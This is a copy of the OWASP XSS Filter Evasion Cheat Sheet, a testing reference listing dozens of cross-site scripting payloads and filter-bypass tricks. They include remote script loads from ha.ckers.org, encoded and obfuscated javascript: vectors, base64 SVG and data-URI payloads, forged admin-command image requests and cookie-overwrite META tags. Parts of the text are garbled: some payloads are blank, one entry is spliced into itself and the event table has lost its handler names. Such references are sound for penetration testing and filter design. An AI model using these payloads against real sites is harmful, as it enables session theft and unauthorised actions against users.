XSS Filter Evasion Cheat Sheet

= Introduction =

This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the XSS (Cross Site Scripting) Prevention Cheat Sheet, was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the OWASP Cheat Sheet Series was born.

= Tests for modern browsers (As of March 12th, 2014) =

This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. All of these tests work on the latest browsers as of March 12th, 2014. (ie. Firefox 27.0.1, Safari 7.0.2, Chrome 33.0.1750.146, Opera 20, Internet Explorer 11)

No Filter Evasion
This is a normal XSS JavaScript injection and the most likely to be filtered but is best to try first. (the quotes are not required in any modern browser so they are omitted here):

&lt;SCRIPT SRC=http:&#47;&#47;ha.ckers.org&#47;xss.js&gt;&lt;/SCRIPT&gt;

Malformed A tags
Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross. On Internet Explorer 6-11 you need to click on the link for it to work.

xxs link

or without quotes

xxs link

Malformed IMG tags
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

&lt;IMG """>alert("XSS")">

Default SRC tag to get past filters that check SRC domain
This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here. Submitted by David Cross edited Abdullah Hussam. This results in a broken image icon on all browsers but will execute the javascript if hovered over, except for IE 6-11 which the user needs to click on the broken image icon for it to work.



Onerror alert one of best Cheat sheet


Non-alpha-non-digit XSS
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "

Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.



Extraneous open brackets
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error: <alert("XSS");//<

BODY tag
Method doesn't require using any variants of "javascript:" or "

IFRAME
If iframes are allowed there are a lot of other XSS problems as well: </IFRAME>

IFRAME Event based
IFrames and most other elements can use event based mayhem like the following... (Submitted by: David Cross) <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

FRAME
Frames have the same sorts of XSS problems as iframes <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

Assuming you can only fit in a few characters and it filters against ".js"
you can rename your JavaScript file to an image as an XSS vector: <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>

XSS using HTML quote encapsulation
For performing XSS on sites that allow "" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i": <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow  tags but not remote script is a state machine (and of course there are other ways to get around this if they allow  tags): <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly: <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

= Partial Browser Tests = These tests only work on specific browsers.

Default SRC tag by leaving it out entirely (IE 6-11)
On IE 6 it results in a broken image icon but executes when hovered over. It still works on IE 11 but there is no visible broken image icon so this could possibly be a stealthy attack. IE 7-10 was not tested but this does not work on any other browser besides IE. <IMG onmouseover="alert('xxs')">

META (Safari/IE 6)
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. This works on the latest Safari as well as IE 6.

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

XSS in an embedded SVG (Safari, Chrome, Opera, Firefox. Not IE)
This works on everything except IE. Thanks to nEUrOO for this one. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

= Deprecated Tests (Works on IE 6 and older browsers) =

These are the tests that have only been confirmed to work on IE 6 unless specified otherwise and do not work on any modern browsers as of March 12th, 2014.

Image XSS using the JavaScript directive
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

<IMG SRC="javascript:alert('XSS');">

No quotes and no semicolon
<IMG SRC=javascript:alert('XSS')>

Case insensitive XSS attack vector
<IMG SRC=JaVaScRiPt:alert('XSS')>

HTML entities
The semicolons are required for this to work:

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

Grave accent obfuscation
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents: &lt;IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

fromCharCode
if no quotes of any kind are allowed you can eval a fromCharCode in JavaScript to create any XSS vector you need:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Hexadecimal HTML character references without trailing semicolons
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS calculator for more information:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Embedded tab
Used to break up the cross site scripting attack:

<IMG SRC="jav&#x09;ascript:alert('XSS');">

Embedded Encoded tab
Use this one to break up XSS : <IMG SRC="jav&amp;#x09;ascript:alert('XSS');">

Embedded newline to break up XSS
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

<IMG SRC="jav&amp;#x0A;ascript:alert('XSS');">

Null breaks up JavaScript directive
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

Spaces and meta chars before the JavaScript in images for XSS
This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

<IMG SRC=" &#14; javascript:alert('XSS');">

INPUT image
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY image
<BODY BACKGROUND="javascript:alert('XSS')">

IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">

IMG lowsrc
<IMG LOWSRC="javascript:alert('XSS')">

List-style-image
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS

VBscript in an image
<IMG SRC='vbscript:msgbox("XSS")'>

STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

Remote style sheet
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page: <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

Remote style sheet part 2
This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

Remote style sheet part 3
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

Remote style sheet part 4
This only works in old Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites: <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>

STYLE tags with broken up JavaScript for XSS
This XSS at times sends IE into an infinite loop of alerts: <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

STYLE attribute using a comment to break up expression
Created by Roman Ivanov. This results in an infinite loop. <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

IMG STYLE with expression
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this will probably send IE into an infinite loop: exp/*<A STYLE='no\xss:noxss("*//*"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>

STYLE tag (Older versions of Netscape only)
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

STYLE tag using background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

STYLE tag using background
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

TABLE
(attacker can use this when executed from within an embedded Flash object)
 * 1)   (when user aborts the loading of an image)
 * 2)   (when object is set as the active element)
 * 3)   (activates after user prints or previews print job)
 * 4)   (activates on data object after updating data in the source object)
 * 5)   (fires before the object is set as the active element)
 * 6)   (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the   function)
 * 7)   (attacker executes the attack string right before a selection is cut)
 * 8)   (fires right after the activeElement is changed from the current object)
 * 9)   (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
 * 10)   (user needs to be tricked into pasting or be forced into it using the   function)
 * 11)   (user would need to be tricked into printing or attacker could use the   or   function).
 * 12)   (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
 * 13)   (activates on data object before updating data in the source object)
 * 14)   (the onbegin event fires immediately when the element's timeline begins)
 * 15)   (in the case where another popup is loaded and window looses focus)
 * 16)   (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
 * 17)   (fires when data changes in the data provider)
 * 18)   (select, text, or TEXTAREA field loses focus and its value has been modified)
 * 19)   (someone clicks on a form)
 * 20)   (user would need to right click on attack area)
 * 21)   (fires when the user is about to make a control selection of the object)
 * 22)   (user needs to copy something or it can be exploited using the   command)
 * 23)   (user needs to copy something or it can be exploited using the   command)
 * 24)   (user would need to change data in an element, or attacker could perform the same function)
 * 25)   (fires when the data set exposed by a data source object changes)
 * 26)   (fires to indicate that all data is available from the data source object)
 * 27)   (user double-clicks a form element or a link)
 * 28)   (fires when the activeElement is changed from the current object to another object in the parent document)
 * 29)   (requires that the user drags an object)
 * 30)   (requires that the user drags an object)
 * 31)   (requires that the user drags an object off a valid location)
 * 32)   (requires that the user drags an object into a valid location)
 * 33)   (requires that the user drags an object into a valid location)
 * 34)   (user drops an object (e.g. file) onto the browser window)
 * 35)   (occurs when user starts drag operation)
 * 36)   (user drops an object (e.g. file) onto the browser window)
 * 37)   (the onEnd event fires when the timeline ends.
 * 38)   (loading of a document or image causes an error)
 * 39)   (fires on a databound object when an error occurs while updating the associated data in the data source object)
 * 40)   (fires when a visual filter completes state change)
 * 41)   (attacker can create the exploit when marquee is finished looping)
 * 42)   (attacker executes the attack string when the window gets focus)
 * 43)   (attacker executes the attack string when window gets focus)
 * 44)   (attacker executes the attack string when window looses focus)
 * 45)   (fires when the fragment identifier part of the document's current address changed)
 * 46)   (attacker executes the attack string when users hits F1 while the window is in focus)
 * 47)   (the text content of an element is changed through the user interface)
 * 48)   (user depresses a key)
 * 49)   (user presses or holds down a key)
 * 50)   (user releases a key)
 * 51)   (user would have to print or print preview)
 * 52)   (attacker executes the attack string after the window loads)
 * 53)   (can be exploited by the   method)
 * 54)   (When a streaming media file is used, this event could fire before the file starts playing)
 * 55)   (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
 * 56)   (fire when the document received a message)
 * 57)   (the attacker would need to get the user to click on an image)
 * 58)   (cursor moves over an object or area)
 * 59)   (the attacker would need to get the user to mouse over an image or table and then off again)
 * 60)   (the attacker would need to get the user to mouse over an image or table)
 * 61)   (the attacker would need to get the user to mouse over an image or table and then off again)
 * 62)   (cursor moves over an object or area)
 * 63)   (the attacker would need to get the user to click on an image)
 * 64)   (the attacker would need to get the user to use their mouse wheel)
 * 65)   (user or attacker would move the page)
 * 66)   (user or attacker would move the page)
 * 67)   (user or attacker would move the page)
 * 68)   (occurs if the browser is working in online mode and it starts to work offline)
 * 69)   (occurs if the browser is working in offline mode and it starts to work online)
 * 70)   (interrupt the element's ability to play its media as defined by the timeline)
 * 71)   (user would need to paste or attacker could use the   function)
 * 72)   (the onpause event fires on every element that is active when the timeline pauses, including the body element)
 * 73)   (fires when user navigated the session history)
 * 74)   (attacker would use this as a flash movie was loading)
 * 75)   (user or attacker would need to change an element property)
 * 76)   (user or attacker would need to change an element property)
 * 77)   (user went forward in undo transaction history)
 * 78)   (the event fires once for each repetition of the timeline, excluding the first full cycle)
 * 79)   (user or attacker resets a form)
 * 80)   (user would resize the window; attacker could auto initialize with something like:  )
 * 81)   (user would resize the window; attacker could auto initialize with something like:  )
 * 82)   (user would resize the window; attacker could auto initialize with something like:  )
 * 83)   (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
 * 84)   (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
 * 85)   (user or attacker would need to change a row in a data source)
 * 86)   (user or attacker would need to change a row in a data source)
 * 87)   (user or attacker would need to delete a row in a data source)
 * 88)   (user or attacker would need to insert a row in a data source)
 * 89)   (user would need to scroll, or attacker could use the   function)
 * 90)   (the onreverse event fires when the timeline is set to play in any direction other than forward)
 * 91)   (user needs to select some text - attacker could auto initialize with something like:  )
 * 92)   (user needs to select some text - attacker could auto initialize with something like:  )
 * 93)   (user needs to select some text - attacker could auto initialize with something like:  )
 * 94)   (fires at the beginning of each marquee loop)
 * 95)   (user would need to press the stop button or leave the webpage)
 * 96)   (storage area changed)
 * 97)   (user interrupts the element's ability to play its media as defined by the timeline to fire)
 * 98)   (requires attacker or user submits a form)
 * 99)   (user or attacker sets a time property, such as dur, to an invalid value)
 * 100)   (user or attacker changes track in a playList)
 * 101)   (user went backward in undo transaction history)
 * 102)   (as the user clicks any link or presses the back button or attacker forces a click)
 * 103)   (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
 * 104)   (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

= Other Methods =

XSS Locator
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this URL encoding calculator to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//&quot;; alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//-- &gt;&lt;/SCRIPT&gt;&quot;&gt;'&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;

XSS locator 2
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &amp;lt;XSS to see if it is vulnerable:

&#39;&#39;;!--"&lt;XSS&gt;=&amp;{}

Escaping JavaScript escapes
When the application is written to output some user information inside of a JavaScript like the following: var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

\";alert('XSS');//

META using data
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

META with additional URL parameter
If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

Using an EMBED tag you can embed a Flash movie that contains XSS
Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).: EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).: org/xss.swf" AllowScriptAccess="always"></EMBED>

Using ActionScript inside flash can obfuscate your XSS vector
a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d);

IMG Embedded commands
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors: <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

IMG Embedded commands part II
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

Cookie manipulation
Admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;">

= Authors and Primary Editors =

Robert "RSnake" Hansen from www.fallingrocknetworks.com

= Other Cheatsheets =

= Failed/Obsolete? Tests =

These tests were in the XSS Cheat Sheet originally provided, however they do not seem to work even on IE 6. They are left here for reference, etc...

Default SRC tag by leaving it empty
<IMG SRC= onmouseover="alert('xxs')">

Decimal HTML character references
all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS Calculator for more information:

&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40; &amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;

Decimal HTML character references without trailing semicolons
This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
 * 1) 0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Non-alpha-non-digit XSS
The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here: <BODY onload!#$%&*~+-_.,:;?@[/|\]^`=alert("XSS")>

No closing script tags
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >

Protocol resolution in script tags
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag. &lt;SCRIPT SRC=//ha.ckers.org/.j>

Half open HTML/JavaScript XSS vector
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

<IMG SRC="javascript:alert('XSS')"

Double open angle brackets
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

<iframe src=http://ha.ckers.org/scriptlet.html <

Livescript (older versions of Netscape only)
<IMG SRC="livescript:[code]">

BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">

& JavaScript includes
<BR SIZE="&{alert('XSS')}">

Anonymous HTML with STYLE attribute
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter: <XSS STYLE="xss:expression(alert('XSS'))">

Local htc file
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute: <XSS STYLE="behavior: url(xss.htc);">

US-ASCII encoding
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.

¼script¾alert(¢XSS¢)¼/script¾

DIV background-image with unicoded XSS exploit
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

&lt;DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"&gt;

BASE tag
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work): <BASE HREF="javascript:alert('XSS');//">

Locally hosted XML with embedded JavaScript that is generated using an XML data island
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

<XML SRC="xsstest.xml" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

HTML+TIME in XML
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work: <HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"> </BODY></HTML>

SSI (Server Side Includes)
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues: